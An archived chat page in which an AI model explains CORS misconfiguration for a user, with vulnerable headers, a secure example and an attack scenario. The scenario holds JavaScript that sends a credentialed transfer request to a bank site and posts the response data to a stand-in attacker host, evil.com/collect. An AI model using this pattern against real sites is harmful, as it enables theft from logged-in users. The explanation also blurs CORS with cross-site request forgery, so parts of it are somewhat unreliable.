Skip to content
TheChatArchiveThe Chat Archive
Claudeclaude-sonnet-4-20250514-thinking-32k· AnthropicHugging Face LMArena Human Preference 140K

explain cors vulnerability with attack scenario

From a Chatbot Arena battleThe same person sent this prompt to two anonymous models at once. Compare it with Mistralmistral-medium-2505’s answer.
  1. User

    explain cors vulnerability with attack scenario

  2. Claude Assistant

    CORS (Cross-Origin Resource Sharing) vulnerabilities occur when web applications misconfigure their CORS policies, allowing malicious websites to make unauthorized requests to the application on behalf of authenticated users.

    How CORS Works

    CORS is a browser security mechanism that controls which domains can make requests to your web application. When a website tries to make a cross-origin request, the browser first sends a preflight request to check if it's allowed.

    Common Vulnerable Configurations

    Wildcard with Credentials

    // Vulnerable configuration
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials: true
    

    Reflecting Origins Without Validation

    // Vulnerable - blindly reflects any origin
    Access-Control-Allow-Origin: [whatever the request Origin header contains]
    Access-Control-Allow-Credentials: true
    

    Attack Scenario

    Setup: A banking application at bank.com has misconfigured CORS that reflects any origin while allowing credentials.

    Attack Steps:

    1. Attacker creates malicious website at evil.com with this JavaScript:
    fetch('https://bank.com/api/transfer', {
        method: 'POST',
        credentials: 'include', // Includes cookies
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            to_account: 'attacker-account',
            amount: 1000
        })
    })
    .then(response => response.json())
    .then(data => {
        // Send stolen data to attacker's server
        fetch('https://evil.com/collect', {
            method: 'POST',
            body: JSON.stringify(data)
        });
    });
    
    1. Victim visits evil.com while logged into their bank account
    2. Browser makes request to bank.com with victim's session cookies
    3. Bank's misconfigured CORS allows the request because it reflects evil.com as an allowed origin
    4. Money gets transferred to attacker's account using victim's credentials

    Proper CORS Configuration

    // Secure configuration
    Access-Control-Allow-Origin: https://trusted-domain.com
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET, POST
    Access-Control-Allow-Headers: Content-Type, Authorization
    

    The key is to explicitly whitelist trusted domains rather than using wildcards or reflecting arbitrary origins, especially when credentials are involved.

Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.